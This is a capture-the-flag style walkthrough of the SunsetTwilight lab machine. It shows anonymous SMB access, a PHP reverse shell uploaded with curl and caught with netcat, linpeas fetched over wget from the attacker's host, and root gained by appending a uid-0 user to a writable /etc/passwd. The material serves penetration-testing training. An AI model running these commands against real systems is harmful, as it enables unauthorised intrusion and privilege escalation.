> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/pg-play-or-vulnhub/linux/sunsettwilight.md).

# SunsetTwilight

## Nmap

```
sudo nmap 192.168.120.91 -p- -sS -sV                                                                

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp    open  smtp        Exim smtpd
80/tcp    open  http        Apache httpd 2.4.38 ((Debian))
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2121/tcp  open  ftp         pyftpdlib 1.5.6
3306/tcp  open  mysql       MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
8080/tcp  open  http        PHP cli server 5.5 or later
63525/tcp open  http        PHP cli server 5.5 or later
Service Info: Host: TWILIGHT; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

First up is checking SMB. We are able to connect and list shared without providing credentials as shown below:

```
smbclient -U '' -L \\\\192.168.120.91\\ 
```

![](/files/-MXH_-nS-S5g8LFM18wx)

We can then move into the WRKSHARE directory to view the contents:

```
smbclient -U '' \\\\192.168.120.91\\WRKSHARE\\
```

![](/files/-MXH_9QMnmfvy0zLeaDP)

As this looks like we can see the entire directory from '/' we can have a look about for interesting information. We know that port 80 is open so likely we are running a webserver.

Looking at the contents of the directory /var/www/html/ we can see PHP files.

![](/files/-MXHaYo5E6fxZfcQmz5m)

If we can upload a reverse PHP shell we should in theory be able to get shell access. I used the following command to upload a [PHP reverse shell](https://github.com/pentestmonkey/php-reverse-shell) with curl into the /var/www/html directory:

```
curl --upload-file /home/kali/scripts/phpshell.php -u '' smb://192.168.120.91/WRKSHARE/var/www/html/phpshell.php
```

![](/files/-MXHarvm5uOAH6ey1wTS)

Checking the directory contents with `smbclient` again shows we have uploaded our PHP reverse shell.

![](/files/-MXHb1EcpdRDBtSc64h1)

We can then set a `netcat` listener up then execute the shell with `curl`.

```
sudo nc -lvp 80
curl http://192.168.120.91/phpshell.php 
```

![](/files/-MXHbXZaJ1Mh5XynWqh3)

The current shell can then be improved by:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

![](/files/-MXHbhcmHiVdljtXFq4t)

Next we can move into the /tmp/ directory. Started a `Python SimpleHTTPServer` on my attacking machine and transferred over `linpeas`.

```
wget http://192.168.49.120/linpeas.sh
```

`linpeas` picks up that /etc/passwd is writeable by everyone. Which means we can make changes to the file.

![](/files/-MXHckNG5MMw4BrozrCc)

As such we can add a new root user to the target machine to gain root access.

Generate password on attacking machine:

```
openssl passwd -1 -salt password password 
```

Echo the password and new user to the end of /etc/passwd on the target machine.

```
echo 'owned:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:owned:/root:/bin/bash' >> /etc/passwd
```

We can then use `su` to move into the new account and gain a root shell.

![](/files/-MXHd95LxAotOgP9xHf2)